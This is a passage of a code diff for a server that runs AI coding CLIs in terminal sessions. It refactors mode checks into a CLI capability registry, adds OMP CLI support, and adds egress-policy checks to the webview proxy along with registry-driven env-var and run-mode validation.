(claude and shell are the two + // non-external modes, exactly what the chain admitted) and cannot drift. + // + // ⚠️ Deliberately NOT `capabilities.ralph`, which the quick-start path below reads: + // that capability is claude-only, so using it here would stop auto-enabling Ralph for + // SHELL sessions, which this path has always done. The two paths genuinely disagree + // about shell, and they disagree upstream too — reconciling them is a behaviour change + // and belongs in its own PR, not in a refactor that is meant to change nothing. if ( - session.mode !== 'opencode' && - session.mode !== 'codex' && - session.mode !== 'gemini' && - session.mode !== 'antigravity' && - session.mode !== 'pi' && - session.mode !== 'grok' && - session.mode !== 'deepseek' && + !isExternalCliMode(session.mode) && ctx.store.getConfig().ralphEnabled && !session.ralphTracker.autoEnableDisabled ) { @@ -2028,7 +2086,7 @@ export function registerSessionRoutes( // Codex sessions don't write to ~/.claude/projects — their transcripts // live in ~/.codex/sessions/**. Branch to a Codex-specific reader so the // response-viewer works for Codex panes too. - if (session.mode === 'codex') { + if (getCli(session.mode)?.capabilities.transcript === 'codex-rollout') { const codexQuery = req.query as { context?: string }; return await readCodexLastResponse(session, codexQuery.context === 'full'); } @@ -2048,7 +2106,7 @@ export function registerSessionRoutes( // and return "nothing said yet" forever — an agent polling that worker // would starve on an answer that exists. Those configurations keep the // pane segmenter below: coarse, but the real conversation. - if (session.mode === 'deepseek' && !session.docker && !session.remote) { + if (getCli(session.mode)?.capabilities.transcript === 'deepseek-zstd' && !session.docker && !session.remote) { const deepSeekQuery = req.query as { context?: string }; const full = deepSeekQuery.context === 'full'; const transcript = await readDeepSeekLastResponse(session, { blocks: full }); @@ -2191,7 +2249,7 @@ export function registerSessionRoutes( const WINDOW_MS = 15_000; const otherSubmits: number[] = []; for (const s of ctx.sessions.values()) { - if (s.id !== session.id && s.mode === 'codex' && s.lastSubmitAt) { + if (s.id !== session.id && getCli(s.mode)?.capabilities.transcript === 'codex-rollout' && s.lastSubmitAt) { otherSubmits.push(s.lastSubmitAt); } } @@ -2536,7 +2594,8 @@ export function registerSessionRoutes( // During long thinking phases, Ink rewrites the same rows thousands of times // (500KB+). Without stripping, tail mode returns only spinner frames and // the terminal appears empty when switching tabs. - let strippedBuffer = session.mode === 'shell' ? rawBuffer : stripInkRedrawBloat(rawBuffer); + let strippedBuffer = + getCli(session.mode)?.capabilities.stripInkBloat === false ? rawBuffer : stripInkRedrawBloat(rawBuffer); // Strip alt-screen toggles and scrollback-erase from Codex/Claude byte // streams. xterm.js obeys them by switching to its scrollback-less alt @@ -2858,6 +2917,7 @@ export function registerSessionRoutes( piConfig, grokConfig, deepSeekConfig, + ompConfig, envOverrides, effort, parentSessionId, @@ -2865,7 +2925,7 @@ export function registerSessionRoutes( // Multi-user: shell mode is arbitrary host-account execution, gated by the grant. // Resolve the owner's grant from the store so a GRANTED regular user is not wrongly denied. - if (mode === 'shell' && !(await canUsernameRunPrivilegedCommands(owner))) { + if (getCli(mode)?.capabilities.privilegedCommandGate && !(await canUsernameRunPrivilegedCommands(owner))) { return createErrorResponse(ApiErrorCode.FORBIDDEN, 'Shell sessions require the can-bypass-permissions grant'); } @@ -2908,6 +2968,7 @@ export function registerSessionRoutes( piConfig || grokConfig || deepSeekConfig || + ompConfig || openCodeConfig ) { return createErrorResponse( @@ -2942,6 +3003,7 @@ export function registerSessionRoutes( piConfig || grokConfig || deepSeekConfig || + ompConfig || openCodeConfig ) { return createErrorResponse( @@ -2971,7 +3033,9 @@ export function registerSessionRoutes( // The probe already exec'd into the container; carry its facts onto the // live session so the launch chain does not have to re-ask. sessionDocker.runsAsRoot = probe.runsAsRoot; - if (mode !== 'shell' && !probe.availableModes?.includes(mode)) { + // No `mode !== 'shell'` arm: a mode with no binary of its own is reported + // available by the probe unconditionally, so this reads the same answer for it. + if (!probe.availableModes?.includes(mode)) { return createErrorResponse( ApiErrorCode.OPERATION_FAILED, `"${mode}" is not installed in container "${sessionDocker.containerName}". Adoption never modifies the container — install it inside, or pick another mode.` @@ -3016,69 +3080,35 @@ export function registerSessionRoutes( casePath = dockerCase.hostWorkspacePath; // a REAL host dir (bind-mounted into the container) docker = sessionDocker; - // Seed resume so a relaunch resumes the case's last conversation from the - // bind-mounted transcript (decision: resume-on-start default ON). - if (sessionDocker.resumeOnStart && dockerCase.lastClaudeSessionId) { + // Seed only Claude's resume id. Codex, Gemini, and the other CLIs have + // separate conversation stores and must never receive a Claude UUID. + if (mode === 'claude' && sessionDocker.resumeOnStart && dockerCase.lastClaudeSessionId) { dockerResumeId = dockerCase.lastClaudeSessionId; } } else { - // Check OpenCode availability if requested. Error text comes from the - // resolver so it carries the resolution diagnostics; same for the modes below. - if (mode === 'opencode') { - const { isOpenCodeAvailable, getOpenCodeNotFoundMessage } = - await import('../../utils/opencode-cli-resolver.js'); - if (!isOpenCodeAvailable()) { - return createErrorResponse(ApiErrorCode.OPERATION_FAILED, getOpenCodeNotFoundMessage()); + // Same pre-flight as POST /api/sessions: refuse before spawning a pane that would die + // on `command not found`, with the resolver's own diagnostics, and a launcher CLI's + // more specific reason (dsh: binary vs no pane-capable profile vs the profile the + // caller named). External CLIs only — claude and shell fall through to tmux-manager's + // own not-found throw, exactly as before. + if (getCli(mode)?.capabilities.external) { + const qsLaunchError = await resolveCliLaunchError( + mode, + legacyConfigForMode(mode, { + openCodeConfig, + codexConfig, + geminiConfig, + antigravityConfig, + piConfig, + grokConfig, + deepSeekConfig, + } as unknown as Record) + ); + if (qsLaunchError) { + return createErrorResponse(ApiErrorCode.OPERATION_FAILED, qsLaunchError); } } - // Check Codex availability if requested - if (mode === 'codex') { - const { isCodexAvailable, getCodexNotFoundMessage } = await import('../../utils/codex-cli-resolver.js'); - if (!isCodexAvailable()) { - return createErrorResponse(ApiErrorCode.OPERATION_FAILED, getCodexNotFoundMessage()); - } - } - - // Check Gemini availability if requested - if (mode === 'gemini') { - const { isGeminiAvailable, getGeminiNotFoundMessage } = await import('../../utils/gemini-cli-resolver.js'); - if (!isGeminiAvailable()) { - return createErrorResponse(ApiErrorCode.OPERATION_FAILED, getGeminiNotFoundMessage()); - } - } - - // Check Antigravity availability if requested - if (mode === 'antigravity') { - const { isAntigravityAvailable, getAntigravityNotFoundMessage } = - await import('../../utils/antigravity-cli-resolver.js'); - if (!isAntigravityAvailable()) { - return createErrorResponse(ApiErrorCode.OPERATION_FAILED, getAntigravityNotFoundMessage()); - } - } - - // Check Pi availability if requested - if (mode === 'pi') { - const { isPiAvailable, getPiNotFoundMessage } = await import('../../utils/pi-cli-resolver.js'); - if (!isPiAvailable()) { - return createErrorResponse(ApiErrorCode.OPERATION_FAILED, getPiNotFoundMessage()); - } - } - - // Check Grok availability if requested - if (mode === 'grok') { - const { isGrokAvailable, getGrokNotFoundMessage } = await import('../../utils/grok-cli-resolver.js'); - if (!isGrokAvailable()) { - return createErrorResponse(ApiErrorCode.OPERATION_FAILED, getGrokNotFoundMessage()); - } - } - - // Check DeepSeek Harness availability if requested (binary AND a pane-capable profile). - if (mode === 'deepseek') { - const err = await resolveDeepSeekLaunchError(deepSeekConfig?.profile); - if (err) return createErrorResponse(ApiErrorCode.OPERATION_FAILED, err); - } - // Resolve case path: check linked-cases registry first, then fall back to CASES_DIR. // This mirrors the behaviour of resolveCasePath() in case-routes so that linked // external project directories are honoured by quick-start just like regular case routes. @@ -3125,14 +3155,15 @@ export function registerSessionRoutes( writeFileSync(join(resolvedCasePath, 'CLAUDE.md'), claudeMd); // Write .claude/settings.local.json with hooks for desktop notifications - // (Claude-specific — OpenCode, Codex, Gemini, Antigravity, Pi and Grok use their own systems) + // (Claude-specific — OpenCode, Codex, Gemini, Antigravity, Pi, Grok, DeepSeek and OMP use their own systems) if ( mode !== 'opencode' && mode !== 'codex' && mode !== 'gemini' && mode !== 'antigravity' && mode !== 'pi' && - mode !== 'grok' + mode !== 'grok' && + mode !== 'omp' ) { await writeHooksConfig(resolvedCasePath); } @@ -3148,7 +3179,7 @@ export function registerSessionRoutes( // reads `.claude` hooks, so a shell/codex quick-start should not author a block // of its own. Skipped for remote cases — resolvedCasePath is a REMOTE path that // doesn't exist on the local filesystem. - if (mode === 'claude') { + if (getCli(mode)?.capabilities.hooks === 'always') { await applyWorkspaceHooks(resolvedCasePath, await ctx.getWorkspaceHooksEnabled()); } else { await refreshStaleCodemanHooks(resolvedCasePath).catch(() => {}); @@ -3160,7 +3191,7 @@ export function registerSessionRoutes( // (`.claude/skills/` is a Claude Code surface); skipped for remote cases, whose // casePath lives on another host. Docker cases qualify: hostWorkspacePath is a // real host dir and the skill crosses the bind mount like the rest of `.claude/`. - if (!remote && mode === 'claude' && (await ctx.getAgentSkillEnabled())) { + if (!remote && getCli(mode)?.capabilities.agentSkillInjection && (await ctx.getAgentSkillEnabled())) { await injectAgentSkill(resolvedCasePath); } @@ -3171,7 +3202,7 @@ export function registerSessionRoutes( // shell or external-CLI quick-start must not author a block of its own (the same // rule the existing-case branch above states; this branch used to exclude just // the five external CLIs and let `shell` through). - if (docker && docker.hooksEnabled && mode === 'claude') { + if (docker && docker.hooksEnabled && getCli(mode)?.capabilities.hooks === 'always') { try { if (!existsSync(join(resolvedCasePath, 'CLAUDE.md'))) { const templatePath = await ctx.getDefaultClaudeMdPath(); @@ -3193,24 +3224,14 @@ export function registerSessionRoutes( // Model override → /.claude/settings.local.json (claude-mode; local AND // docker — the docker workspace is a real host dir, so the settings file crosses // the bind mount and the in-container claude reads it). Remote was rejected above. - if (mode === 'claude' && modelOverride !== undefined) { + if (getCli(mode)?.capabilities.model.source === 'claude-settings-file' && modelOverride !== undefined) { await updateCaseModel(resolvedCasePath, modelOverride || null); } // Strip stale disk entries for keys this request is actively setting (Claude only — // see POST /api/sessions for full rationale). - if ( - mode !== 'opencode' && - mode !== 'codex' && - mode !== 'gemini' && - mode !== 'antigravity' && - mode !== 'pi' && - mode !== 'grok' && - mode !== 'deepseek' && - !remote && - envOverrides && - Object.keys(envOverrides).length > 0 - ) { + // Same chain, same replacement as the create path above: byte-identical, drift-proof. + if (!isExternalCliMode(mode) && !remote && envOverrides && Object.keys(envOverrides).length > 0) { await stripCaseEnvKeys(resolvedCasePath, Object.keys(envOverrides)); } @@ -3218,23 +3239,22 @@ export function registerSessionRoutes( // Apply global Nice priority config and model config from settings const niceConfig = await ctx.getGlobalNiceConfig(); const qsModelConfig = await ctx.getModelConfig(); + // See the create path for why this is a capability rather than a mode ladder. + const qsModelSource = getCli(mode)?.capabilities.model; const qsModel = - mode === 'opencode' - ? openCodeConfig?.model - : mode === 'codex' - ? codexConfig?.model - : mode === 'gemini' - ? geminiConfig?.model - : mode === 'antigravity' - ? antigravityConfig?.model - : mode === 'pi' - ? piConfig?.model - : mode === 'grok' - ? grokConfig?.model - : // DeepSeek's model lives in the profile's config tree, not here. - mode !== 'shell' && mode !== 'deepseek' - ? qsModelConfig?.defaultModel || undefined - : undefined; + qsModelSource?.source === 'flag' + ? (legacyConfigForMode(mode, { + openCodeConfig, + codexConfig, + geminiConfig, + antigravityConfig, + piConfig, + grokConfig, + deepSeekConfig, + } as unknown as Record)?.[qsModelSource.param ?? 'model'] as string | undefined) + : qsModelSource?.source === 'claude-settings-file' + ? qsModelConfig?.defaultModel || undefined + : undefined; const qsClaudeModeConfig = await ctx.getClaudeModeConfig(); const qsEffectiveClaudeMode = await resolveClaudeModeForUsername(qsClaudeModeConfig.claudeMode, owner); // Section 6.3: clamp Codex/Gemini/Antigravity bypass switches for a non-granted owner (no-op single-user/granted). @@ -3245,7 +3265,7 @@ export function registerSessionRoutes( piConfig: qsGatedPiConfig, grokConfig: qsGatedGrokConfig, deepSeekConfig: qsGatedDeepSeekConfig, - } = await clampExternalCliBypassForOwner( + } = await _clampExternalCliBypassForOwner( owner, codexConfig, geminiConfig, @@ -3274,6 +3294,7 @@ export function registerSessionRoutes( piConfig: mode === 'pi' ? qsGatedPiConfig : undefined, grokConfig: mode === 'grok' ? qsGatedGrokConfig : undefined, deepSeekConfig: mode === 'deepseek' ? qsGatedDeepSeekConfig : undefined, + ompConfig: resolveOmpConfigForCreate(mode, resolvedCasePath, ompConfig), envOverrides: qsGatedEnvOverrides, effort, remote, @@ -3285,7 +3306,7 @@ export function registerSessionRoutes( // Auto-detect completion phrase from CLAUDE.md BEFORE broadcasting // so the initial state already has the phrase configured (only if globally enabled) - if (mode === 'claude' && !remote && !docker && ctx.store.getConfig().ralphEnabled) { + if (getCli(mode)?.capabilities.ralph && !remote && !docker && ctx.store.getConfig().ralphEnabled) { autoConfigureRalph(session, resolvedCasePath, ctx); if (!session.ralphTracker.enabled) { session.ralphTracker.enable(); @@ -3299,7 +3320,7 @@ export function registerSessionRoutes( await ctx.setupSessionListeners(session); // Pre-seed the agent skill's preamble cache so its §0 bootstrap is a two-line // loader (see seedAgentSessionPreamble). Local claude sessions only; best-effort. - if (mode === 'claude' && !remote && !docker && (await ctx.getAgentSkillEnabled())) { + if (getCli(mode)?.capabilities.agentSkillInjection && !remote && !docker && (await ctx.getAgentSkillEnabled())) { await seedAgentSessionPreamble(session.id).catch((err: unknown) => console.warn(`[agent-skill] preamble seed failed for ${session.id}: ${getErrorMessage(err)}`) ); @@ -3314,7 +3335,7 @@ export function registerSessionRoutes( // Start in the appropriate mode try { - if (mode === 'shell') { + if (getCli(mode)?.capabilities.startMode === 'shell') { await session.startShell(); getLifecycleLog().log({ event: 'started', @@ -4122,6 +4143,24 @@ export function registerSessionRoutes( // Projects dir may not exist. } + // OMP's own session files (~/.omp/agent/sessions) — the non-claude twin + // of the scan above; see omp-transcript.ts for why this exists at all. + try { + for (const h of scanOmpSessionsHistory()) { + history.push({ + sessionId: h.sessionId, + workingDir: h.workingDir, + sizeBytes: h.sizeBytes, + lastModified: h.lastModified, + firstPrompt: h.firstPrompt, + lastPrompt: h.lastPrompt, + mode: 'omp', + }); + } + } catch { + // Best-effort, same as the claude scan above. + } + // Mux process stats (best-effort; guard against mocks lacking the method). let mux: MuxStatInput[] = []; try { diff --git a/src/web/routes/system-routes.ts b/src/web/routes/system-routes.ts index 4929e977..f409e911 100644 --- a/src/web/routes/system-routes.ts +++ b/src/web/routes/system-routes.ts @@ -5,6 +5,7 @@ */ import { FastifyInstance } from 'fastify'; +import { getCli } from '../../config/cli-registry/registry.js'; import { join, dirname } from 'node:path'; import { fileURLToPath } from 'node:url'; import { existsSync, mkdirSync, readdirSync } from 'node:fs'; @@ -389,6 +390,9 @@ export function registerSystemRoutes( 'in-flight': { http: 409, api: ApiErrorCode.ALREADY_EXISTS }, 'up-to-date': { http: 409, api: ApiErrorCode.ALREADY_EXISTS }, 'not-git': { http: 400, api: ApiErrorCode.INVALID_INPUT }, + // A container release that changes the ENVIRONMENT: not a client error to + // retry, it needs a host-side rebuild (docs/docker-self-update.md). + 'env-blocked': { http: 409, api: ApiErrorCode.INVALID_INPUT }, disabled: { http: 403, api: ApiErrorCode.INVALID_INPUT }, 'bad-tag': { http: 400, api: ApiErrorCode.INVALID_INPUT }, error: { http: 500, api: ApiErrorCode.INTERNAL_ERROR }, @@ -614,8 +618,13 @@ export function registerSystemRoutes( // same negative-pid signal as runGit() in git-clone.ts, which is the // synchronous-spawn precedent this endpoint is modelled on. detached: true, - // dsh bundles its own package manager, so no system pnpm is required — - // but it still needs a HOME to resolve $DSH_HOME against. + // Inherit the environment: this needs a HOME to resolve $DSH_HOME + // against, and a PATH carrying `pnpm`. ⚠️ `dsh plugin` does NOT bundle a + // package manager — it `spawnSync`s a literal `pnpm` with no npm + // fallback, so on a host without one this exits 127 and dsh's own + // stderr ("pnpm not found on PATH") is what reaches the caller through + // the OPERATION_FAILED detail below. That is the same missing + // dependency that broke the docker agent image in issue #352. env: process.env, }); } catch (err) { @@ -694,6 +703,17 @@ export function registerSystemRoutes( }; }); + // ========== OMP ========== + + app.get('/api/omp/status', async () => { + const { isOmpAvailable, resolveOmpDir, getOmpCliVersion } = await import('../../utils/omp-cli-resolver.js'); + return { + available: isOmpAvailable(), + path: resolveOmpDir(), + version: getOmpCliVersion(), + }; + }); + // ═══════════════════════════════════════════════════════════════ // State & Lifecycle (cleanup, lifecycle log, stats) // ═══════════════════════════════════════════════════════════════ @@ -1024,7 +1044,8 @@ export function registerSystemRoutes( if (statusLineTelemetry === true) { const dirs = new Set(); for (const session of ctx.sessions.values()) { - if (session.mode === 'claude' && session.workingDir) dirs.add(session.workingDir); + if (getCli(session.mode)?.capabilities.statusLineTelemetry && session.workingDir) + dirs.add(session.workingDir); } await Promise.all([...dirs].map((dir) => applyStatusLineConfig(dir, true).catch(() => {}))); } diff --git a/src/web/routes/webview-routes.ts b/src/web/routes/webview-routes.ts index f8aed284..b39d247c 100644 --- a/src/web/routes/webview-routes.ts +++ b/src/web/routes/webview-routes.ts @@ -33,7 +33,8 @@ import { randomUUID } from 'node:crypto'; import { Readable } from 'node:stream'; import type { FastifyInstance, FastifyReply, FastifyRequest } from 'fastify'; import { WebSocket as WsClient } from 'ws'; -import type { WebSocket } from 'ws'; +import type { ClientOptions as WsClientOptions, WebSocket } from 'ws'; +import type { Response as UndiciResponse } from 'undici'; import { getDataDir } from '../../config/instance.js'; import { MAX_LIVE_WEBVIEW_FRAMES, @@ -47,6 +48,8 @@ import { } from '../../config/webview-limits.js'; import { readWebviews, writeWebviews } from '../../webview-store.js'; import { webviewCapabilities } from '../../webview-capabilities.js'; +import { egressBlockedReason, webviewEgressLookup, webviewFetch, type EgressLookup } from '../webview-egress.js'; +import { blockedWebviewHostReason } from '../webview-egress-policy.js'; import { ApiErrorCode, createErrorResponse } from '../../types.js'; import type { Webview, WebviewOpenData, WebviewProbe } from '../../types.js'; import { AUTH_COOKIE_NAME } from '../middleware/auth.js'; @@ -293,7 +296,7 @@ async function probeUrl(url: string): Promise { } try { - const response = await fetch(target.href, { + const response = await webviewFetch(target, { method: 'GET', redirect: 'manual', signal: AbortSignal.timeout(WEBVIEW_PROBE_TIMEOUT_MS), @@ -326,6 +329,12 @@ async function probeUrl(url: string): Promise { reason, }; } catch (err) { + const blocked = egressBlockedReason(err); + if (blocked) { + // Refused by policy, not unreachable: say so, or the user reads it as a + // network problem and starts debugging their firewall. + return { reachable: false, framable: false, recommendedMode: 'proxy', reason: blocked }; + } const message = err instanceof Error ? err.message : String(err); return { reachable: false, @@ -476,19 +485,19 @@ async function proxyRequest( // string (it can carry the dashboard's tokens). const logTarget = `${req.method} ${upstream.origin}${upstream.pathname}`; - let response: Response; + let response: UndiciResponse; try { - response = await fetch(upstream.href, { + response = await webviewFetch(upstream, { method: req.method, headers, body: hasBody ? (req.body as Readable) : undefined, // Required by undici whenever the body is a stream. - ...(hasBody ? { duplex: 'half' } : {}), + ...(hasBody ? { duplex: 'half' as const } : {}), // Redirects are rewritten into the proxy prefix instead of followed, so the // browser's URL stays inside the frame and relative assets keep resolving. redirect: 'manual', signal: abort.signal, - } as RequestInit); + }); } catch (err) { const elapsed = Date.now() - startedAt; if (clientGone) { @@ -496,6 +505,13 @@ async function proxyRequest( // failure, so no warn (it would read as the dashboard being broken). return reply; } + const blocked = egressBlockedReason(err); + if (blocked) { + // Policy refusal, distinct from "unreachable": a record saved before the + // egress rule existed, or a name that now resolves into a blocked range. + console.warn(`[Webview] refused by egress policy: ${logTarget} (webview "${webview.name}"): ${blocked}`); + return reply.code(403).type('text/plain').send(`Forbidden: ${blocked}`); + } if (headerTimedOut) { console.warn( `[Webview] upstream sent no response headers within ${WEBVIEW_UPSTREAM_TIMEOUT_MS}ms: ` + @@ -644,6 +660,13 @@ function proxyWebSocket(socket: WebSocket, req: FastifyRequest<{ Params: ProxyPa return; } + // An IP literal never reaches the lookup hook (net.connect skips DNS for it), + // so the literal form is judged here and the resolved form in the lookup. + if (blockedWebviewHostReason(upstream.hostname)) { + socket.close(4003, 'Forbidden'); + return; + } + socketCounts.set(webview.id, live + 1); let released = false; const release = () => { @@ -655,16 +678,21 @@ function proxyWebSocket(socket: WebSocket, req: FastifyRequest<{ Params: ProxyPa }; const protocols = req.headers['sec-websocket-protocol']; + // `lookup` is absent from ws's ClientOptions typings but flows through + // http.request to net.connect untouched, which is where the resolved + // address is judged (see webview-egress.ts). + const upstreamOptions: WsClientOptions & { lookup: EgressLookup } = { + headers: { + origin: upstream.origin, + ...(webview.trusted && req.headers.cookie ? { cookie: String(req.headers.cookie) } : {}), + }, + handshakeTimeout: WEBVIEW_WS_HANDSHAKE_TIMEOUT_MS, + lookup: webviewEgressLookup, + }; const upstreamSocket = new WsClient( upstreamWebSocketUrl(upstream), protocols ? String(protocols).split(/,\s*/) : [], - { - headers: { - origin: upstream.origin, - ...(webview.trusted && req.headers.cookie ? { cookie: String(req.headers.cookie) } : {}), - }, - handshakeTimeout: WEBVIEW_WS_HANDSHAKE_TIMEOUT_MS, - } + upstreamOptions ); // Buffer anything the browser sends before the upstream handshake completes, @@ -703,9 +731,14 @@ function proxyWebSocket(socket: WebSocket, req: FastifyRequest<{ Params: ProxyPa socket.on('close', (code: number, reason: Buffer) => closeBoth(code, reason?.toString())); upstreamSocket.on('close', (code: number, reason: Buffer) => closeBoth(code, reason?.toString())); socket.on('error', () => closeBoth()); - upstreamSocket.on('error', () => { + upstreamSocket.on('error', (err: Error) => { release(); - if (socket.readyState === socket.OPEN) socket.close(1011, 'Upstream error'); + if (socket.readyState !== socket.OPEN) return; + // A name that resolved into a blocked range fails inside the connect, so it + // surfaces here rather than at the sync check above; report it as the same + // policy refusal, not as the dashboard being broken. + if (egressBlockedReason(err)) socket.close(4003, 'Forbidden'); + else socket.close(1011, 'Upstream error'); }); })(); } diff --git a/src/web/schemas.ts b/src/web/schemas.ts index ffffd388..680d07ad 100644 --- a/src/web/schemas.ts +++ b/src/web/schemas.ts @@ -10,6 +10,7 @@ import { z } from 'zod'; import { SAFE_PATH_PATTERN, isSafePushEndpoint } from '../utils/index.js'; import { isValidWebviewUrl } from './webview-proxy.js'; +import { isBlockedWebviewUrl } from './webview-egress-policy.js'; import { MAX_TERMINAL_BUFFER_BYTES, MAX_TERMINAL_SCROLLBACK_LINES, @@ -18,6 +19,8 @@ import { } from '../config/terminal-history.js'; import { MAX_EDITABLE_BYTES } from '../config/file-editing.js'; import { MIN_MATCH_LENGTH, MAX_MATCH_LENGTH } from '../config/agent-wait.js'; +import { enabledCliIds, enabledClis } from '../config/cli-registry/registry.js'; +import type { SessionMode } from '../types.js'; // ========== Path Validation ========== @@ -119,37 +122,84 @@ export const FileWriteSchema = z }) .strict(); -// ========== Env Var Allowlist ========== - -/** Allowlisted env var key prefixes */ -const ALLOWED_ENV_PREFIXES = [ - 'CLAUDE_CODE_', - 'OPENCODE_', - 'CODEX_', - 'GEMINI_', - 'GOOGLE_', - 'ANTIGRAVITY_', - 'PI_', - 'GROK_', - 'XAI_', - // DeepSeek Harness: `DSH_*` carries the launcher's own documented inputs - // (DSH_HOME, DSH_PERMISSION_MODE, DSH_TELEMETRY_MODE, and the DSH_TUI_* knobs - // the terminal front door reads); `DEEPSEEK_*` is the vendor namespace holding - // DEEPSEEK_API_KEY / DEEPSEEK_BASE_URL, the same narrow-vendor reasoning that - // admitted XAI_* for grok. Foreign provider keys stay out: a dsh settings.yaml - // can name ANY env var as a provider credential (apiKeyEnv), which is pi's - // 34-provider-key problem in a new shape, and the answer is the same one. - 'DSH_', - 'DEEPSEEK_', -]; +/** + * The run-mode ids the API currently accepts: every ENABLED registry entry. + * + * Exported so anything needing the authoritative list derives it from here rather than + * restating the nine names (which is how the old literal enum drifted from the run menu). + */ +export function sessionModeIds(): string[] { + return enabledCliIds(); +} /** - * Allowlisted exact env var keys (checked alongside the prefixes). - * CLAUDE_CONFIG_DIR relocates the Claude CLI's user config (credentials, - * settings, stats) so a case can run on a separate Claude subscription (#255). - * Exact match only — CLAUDE_CONFIG_DIR_EXTRA etc. stay rejected. + * Validation for a run mode, resolved AT PARSE TIME. + * + * ⚠️ Deliberately not a `z.enum([...])`. An enum has to be handed its members when the + * SCHEMA OBJECT is built, which happens once at module import — so a CLI enabled while the + * server was running kept failing validation with INVALID_INPUT until a restart, even + * though the run menu already offered it. Checking membership inside the refinement moves + * the question to when the request is actually validated. + * + * The cast is because callers type this field as `SessionMode`; the runtime check above is + * what actually constrains it. */ -const ALLOWED_ENV_KEYS = new Set(['CLAUDE_CONFIG_DIR']); +function sessionModeSchema(): z.ZodType { + return ( + z + .string() + // Bounded BEFORE the membership check, and before the failure message quotes the value + // back. `.max(24)` matches the `cliId` pattern in cli-registry/schema.ts — no id longer + // than that can ever be registered, so nothing legitimate is rejected — and it means a + // rejected mode cannot echo a body-limit-sized string into an error string and a log + // line. Without it the only bound on either was the HTTP body limit. + .max(24) + .superRefine((value, ctx) => { + const allowed = sessionModeIds(); + if (!allowed.includes(value)) { + ctx.addIssue({ + code: 'custom', + message: `Invalid run mode ${JSON.stringify(value)}. Enabled modes: ${allowed.join(', ')}`, + }); + } + }) as unknown as z.ZodType + ); +} + +// ========== Env Var Allowlist ========== + +/** + * Allowlisted env var key prefixes, contributed by the ENABLED CLIs in the registry + * (`env.allowedPrefixes`) — `CLAUDE_CODE_`, `OPENCODE_`, `CODEX_`, `GEMINI_`, `GOOGLE_`, + * `ANTIGRAVITY_`, `PI_`, `GROK_`, `XAI_`, `DSH_`, `DEEPSEEK_` as shipped. + * + * ⚠️ Resolved AT PARSE TIME, not at module load. This used to be a frozen array computed + * once when the module was imported, which meant a CLI enabled while the server was running + * had its env prefix rejected until a restart — validation and the run menu disagreeing + * about which CLIs exist. Reading the registry per call costs a memoized array lookup. + * + * ⚠️ This is ONE GLOBAL LIST applied with no mode context, so admitting a prefix for one CLI + * widens it for every mode at once. That is why an entry only ever contributes its own + * VENDOR namespace: pi's ~34 provider keys (ANTHROPIC_API_KEY, OPENAI_API_KEY, HF_TOKEN, …) + * share no prefix and stay out, and a dsh `settings.yaml` can nominate ANY env var as a + * provider credential — same problem, same answer. Those CLIs authenticate via their own + * `/login` or the server process's own environment. + */ +function allowedEnvPrefixes(): string[] { + return enabledClis().flatMap((entry) => entry.env.allowedPrefixes); +} + +/** + * Allowlisted exact env var keys (checked alongside the prefixes), likewise contributed by + * enabled registry entries via `env.allowedKeys`. + * + * As shipped this is claude's CLAUDE_CONFIG_DIR, which relocates the Claude CLI's user + * config (credentials, settings, stats) so a case can run on a separate Claude subscription + * (#255). Exact match only — CLAUDE_CONFIG_DIR_EXTRA etc. stay rejected. + */ +function allowedEnvKeys(): Set { + return new Set(enabledClis().flatMap((entry) => entry.env.allowedKeys)); +} /** Env var keys that are always blocked (security-sensitive) */ const BLOCKED_ENV_KEYS = new Set([ @@ -162,11 +212,17 @@ const BLOCKED_ENV_KEYS = new Set([ 'OPENCODE_SERVER_PASSWORD', // Security-sensitive: server auth password ]); -/** Validate that an env var key is allowed */ +/** + * Validate that an env var key is allowed. + * + * ⚠️ `BLOCKED_ENV_KEYS` is checked FIRST and is deliberately NOT registry-driven. It is a + * hard floor: a rogue or fat-fingered `allowedPrefixes` entry (say `''`, which prefixes + * everything) still cannot unblock PATH or LD_PRELOAD. + */ function isAllowedEnvKey(key: string): boolean { if (BLOCKED_ENV_KEYS.has(key)) return false; - if (ALLOWED_ENV_KEYS.has(key)) return true; - return ALLOWED_ENV_PREFIXES.some((prefix) => key.startsWith(prefix)); + if (allowedEnvKeys().has(key)) return true; + return allowedEnvPrefixes().some((prefix) => key.startsWith(prefix)); } /** Zod schema for env overrides with allowlist enforcement */ @@ -180,7 +236,7 @@ const safeEnvOverridesSchema = z }, { message: - 'envOverrides contains blocked or disallowed env var keys. Only CLAUDE_CODE_*, OPENCODE_*, CODEX_*, GEMINI_*, GOOGLE_*, ANTIGRAVITY_*, PI_*, GROK_*, XAI_*, DSH_*, DEEPSEEK_* keys and CLAUDE_CONFIG_DIR are allowed.', + 'envOverrides contains blocked or disallowed env var keys. Only CLAUDE_CODE_*, OPENCODE_*, CODEX_*, GEMINI_*, GOOGLE_*, ANTIGRAVITY_*, PI_*, GROK_*, XAI_*, DSH_*, DEEPSEEK_*, OMP_* keys and CLAUDE_CONFIG_DIR are allowed.', } ); @@ -345,6 +401,25 @@ const GrokConfigSchema = z }) .optional(); +/** + * Schema for OMP CLI-specific configuration. + */ +const OmpConfigSchema = z + .object({ + model: z + .string() + .max(100) + .regex(/^[a-zA-Z0-9._\-/]+$/) + .optional(), + resumeSessionId: z + .string() + .max(100) + .regex(/^[a-zA-Z0-9._-]+$/) + .optional(), + continueSession: z.boolean().optional(), + }) + .optional(); + /** * Schema for DeepSeek Harness (`dsh`)-specific configuration. * @@ -440,7 +515,7 @@ const parentSessionIdSchema = z.string().max(100).optional(); export const CreateSessionSchema = z.object({ workingDir: safePathSchema.optional(), - mode: z.enum(['claude', 'shell', 'opencode', 'codex', 'gemini', 'antigravity', 'pi', 'grok', 'deepseek']).optional(), + mode: sessionModeSchema().optional(), name: z.string().max(100).optional(), /** Session that spawned this one — see parentSessionIdSchema. */ parentSessionId: parentSessionIdSchema, @@ -458,6 +533,7 @@ export const CreateSessionSchema = z.object({ piConfig: PiConfigSchema, grokConfig: GrokConfigSchema, deepSeekConfig: DeepSeekConfigSchema, + ompConfig: OmpConfigSchema, /** Resume a previous Claude conversation by its session ID (used for reboot recovery) */ resumeSessionId: z .string() @@ -937,7 +1013,7 @@ export const QuickStartSchema = z.object({ * a real host dir, so the settings file crosses the bind mount); rejected for * remote cases (the file would be written on the WRONG machine). */ modelOverride: z.string().max(50).optional(), - mode: z.enum(['claude', 'shell', 'opencode', 'codex', 'gemini', 'antigravity', 'pi', 'grok', 'deepseek']).optional(), + mode: sessionModeSchema().optional(), openCodeConfig: OpenCodeConfigSchema, codexConfig: CodexConfigSchema, geminiConfig: GeminiConfigSchema, @@ -945,6 +1021,7 @@ export const QuickStartSchema = z.object({ piConfig: PiConfigSchema, 